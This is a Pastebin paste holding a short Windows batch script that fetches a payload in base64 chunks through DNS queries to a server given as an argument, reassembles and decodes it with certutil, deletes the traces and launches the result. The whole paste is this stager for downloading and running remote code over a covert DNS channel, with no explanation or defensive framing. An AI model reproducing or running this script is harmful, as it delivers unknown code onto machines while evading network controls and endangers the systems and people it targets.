Advertisement
Guest User

Untitled

a guest
Jun 20th, 2018
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.64 KB | None | 0 0
  1. @echo off
  2. setlocal EnableDelayedExpansion
  3. set encodedoutfile=outputb64
  4. set rawoutfile=payload.txt
  5. set payloaddnsserver=%1
  6. set pubdnsserver=%3
  7. FOR /L %%I IN (0,1,%2) DO (
  8. ECHO Downloaded part %%I of %2
  9. FOR /f "skip=12 usebackq tokens=1" %%a IN (`se.bat %%I.%payloaddnsserver% %pubdnsserver%`) DO (
  10. set tempvar=%%a
  11. set output=!tempvar:"=!
  12. @echo !output! >> %encodedoutfile%
  13. )
  14. )
  15. IF EXIST %encodedoutfile% (
  16. ECHO Decoding downloaded file...
  17. certutil -decode -f %encodedoutfile% %rawoutfile%
  18. ) ELSE (
  19. ECHO Failed to download file
  20. EXIT /B 1
  21. )
  22. DEL %encodedoutfile%
  23. ECHO Attempting to launch file...
  24. start "" "payload.txt"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement